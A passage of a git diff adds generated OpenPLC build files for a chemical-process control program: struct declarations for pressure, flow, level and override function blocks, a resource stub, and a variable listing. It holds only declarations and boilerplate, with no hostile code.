retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; 